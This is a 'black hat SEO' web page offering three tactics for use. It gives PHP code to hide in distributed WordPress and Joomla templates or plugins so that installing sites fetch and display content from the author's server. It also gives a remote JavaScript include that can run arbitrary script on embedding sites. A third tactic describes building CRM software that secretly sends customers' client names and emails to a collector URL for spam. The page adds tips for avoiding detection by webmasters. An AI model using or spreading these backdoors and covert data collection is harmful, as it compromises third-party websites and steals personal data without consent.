Welcome to BlackHatGuru.com, where SEO Secrets are Revealed

From the creator of the Ultimate Black Hat System (extremely shrunk-down version was distributed for free, no one in the world has the full version) and many other "black hat", "grey hat", and "white hat" systems, the general public now have access to the most hidden SEO tactics, free of charge. The establishment of this website is purely educational. We strongly believe that in the new digital era, sharing of information will encourage collaboration which will eventually promote growth and the need of advancement. The establishment will also help webmasters to become more aware of and understand what can be done in the digital world so they can make informed decisions on their websites. If you find this website useful, please help us by sharing it with your friends and colleagues.

#1 PHP CURL Exploit

By placing a small snippet of PHP code to any PHP powered systems (WordPress templates & plugins, Joomla templates & add-ons, various forum templates...etc., basically any file that ends in .php), you can have full control over what is being displayed or executed on the websites with the embedded PHP codes.

Example

Step 1. If you look at the source of https://www.blackhatguru.com/jquery.js, you would see this:

<div style='text-indent:-9000px;'><a href='https://www.blackhatguru.com'>BlackHatGuru.com</a></div>

It is basically a hidden link linking to BlackHatGuru.com.

Step 2. Now place the following code to any PHP file and upload the file onto your website: (If you are placing the code inside PHP tags/container, then you need to remove the <?php and ?>)

<?php
$url = "https://www.blackhatguru.com/jquery.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
?>

Step 3. Now go to your website and load the file with the new modification, you would see the same hidden link on your website as found in Step 1 above. And from search engine perspective, that would be "static HTML/Link" on your website to BlackHatGuru.com

There are many other alternatives to CURL. (CURL is just a PHP function) Functions such as file_get_contents() and fopen() will also accomplish the same thing with shorter code.

Implementation & Distribution

This exploit, will work on any PHP powered CMS, CRM, Forums, Q&As, and eCommerce systems. Not just systems but also templates, plugins, and add-ons to these systems.

Types of Use

All the websites with the PHP codes will "synchronize" with your specified URL and you can load more than just hidden links on the websites "in-sync".

Personal Experience

One of the benefits about using PHP is that it is a back-end language, which means whatever you display on websites "in-sync" will appear as static html content for search engines. Although you can distribute and display tens of thousands of backlinks all at once, in order for this to be extremely effective, you need to be placing "targeted backlinks". If you don't know about it yet, it is much more effective to place backlinks to a website about "how to train dogs" on dog-related websites.

To accomplish that you will need to load (e.g. "echo") an external JavaScript file (e.g. Exploit #2 - JavaScript) that will read the content of the page in-sync and save the top keywords. Once when the keywords are saved for the page in-sync, you can remove filter keywords (is, are, he, she, it...etc.) and identify the real meaningful keywords. Then you can decide on what kind of backlinks to show on the pages in-sync.

For example, to rank high in the United States for "dog training", it will be a lot more effective to display/insert 1000 backlinks on websites about dogs hosted within the United States than displaying 50,000 backlinks on random websites throughout the world.

Keep in mind that you cannot turn it off after you have distributed files with embedded PHP code. You will need to upgrade your server as you go. If your server is under high-load, the websites in-sync will load slowly, then some webmasters (if they are smart) will investigate the source code of their websites.

Don't be greedy - webmasters do notice. For example if you are redirecting traffic away from pages in-sync, do it at somewhere around 1-5% of the time.

[ back to top ]

#2 JavaScript Exploit

You can provide a web service that in order for people to use your service, they must embed some sort of JavaScript on their website. When their websites are pulling JavaScript from a location on your website, you can execute anything that is achievable using JavaScript on websites "in-sync".

Example

Step 1. If you view the source of https://www.blackhatguru.com/jquery.min.js, you would see this:

window.location = "https://www.blackhatguru.com/"

Step 2. Now place the following code to any website file (HTML, PHP, ASP...etc.) and upload the file onto your website:

<script type='text/javascript' src='https://www.blackhatguru.com/jquery.min.js'></script>

Step 3. Now go to your website and load the file with the new modification, you would be redirected immediately to BlackHatGuru.com

Implementation & Distribution

This exploit, will work on any website file - HTML, PHP, ASP...etc., you name it.

All the websites with the call to a JavaScript file hosted on your server will "synchronize" with your specified URL and you can load any JavaScript on the websites "in-sync".

Types of Use

Personal Experience

JavaScript can do pretty much anything on a website. You may encounter performance issue as you go so you will need to upgrade your server from time to time. If your server is under high-load, the websites in-sync will load slowly, then some webmasters (if they are smart) will investigate the source code of their websites.

Using JavaScript exploit together with PHP CURL exploit will allow you to accomplish pretty much anything on any website. The downside for both JavaScript and PHP CURL exploit is that the websites in-sync will always "synchronize" with your server, and your server is also always "responding" to them, even when you display nothing. Which means, if the websites in-sync are experiencing DDOS attacks, the load on your server will also increase tremendously for the duration of the attacks.

You need dedicated servers, and perhaps with load balancers, if you plan to perform a mass-scale distribution.

Don't be greedy - webmasters do notice. For example if you are redirecting traffic away from pages in-sync, do it at somewhere around 1-5% of the time.

[ back to top ]

#3 Automated Sales Channel

This is not a SEO tactic, but rather a marketing method. With the power of web automation, you can automate the entire sales channel and process for certain digital products. This method involves customizing a digital product to send prospect information to the software provider via back-end scripting where an automated script sends promotional emails to collected prospects.

Example Sales Flow

Step 1. Customer buys a CRM software from you online at http://www.YourSalesDomain.com, assuming the purchasing and delivery process are automated.

Step 2. Customer installs the CRM software on their computer (standalone software) or server (self-hosted application) and starts using the software.

Step 3. Whenever the customer enters in sales information, his/her customer's information is send back to http://www.YourSalesDomain.com/collector.php (e.g. First Name, Last Name, Email Address).

Step 4. Your system http://www.YourSalesDomain.com/collector.php sends promotional emails to collected leads automatically.

Step 5. More customers buy your CRM software via the promotional emails, and the process repeats itself.

Implementation

If it's a web based system, for example a CRM system, you can develop the system with forms for the customer to manage the database. For example for sale records, they can enter in the first name, last name, email, phone, and even mailing address for the particular buyer. As soon as the information is entered and the submit button is pressed, the system will load an external URL (e.g. using CURL) to pass the information to your server. For example:

http://www.YourSalesDomain.com/collector.php?firstname=John&lastname=Doe&email=johndoe@hotmail.com

Your collector.php will read the $_GET['firstname'], $_GET['lastname'], and $_GET['email'] variables passed in the URL and save them into your database.

Then you can simply setup a scheduled mailer script to read the database and send out promotional emails.

Personal Experience

This method works extremely well with building/selling systems that deal with sales and customer information. For example, a CRM, a sales reporting system, a leads management system...etc. With that said, the effectiveness depends on the quality and pricing of your product, as well as the quality of your promotional emails and strategies.

[ back to top ]

[ back to top ]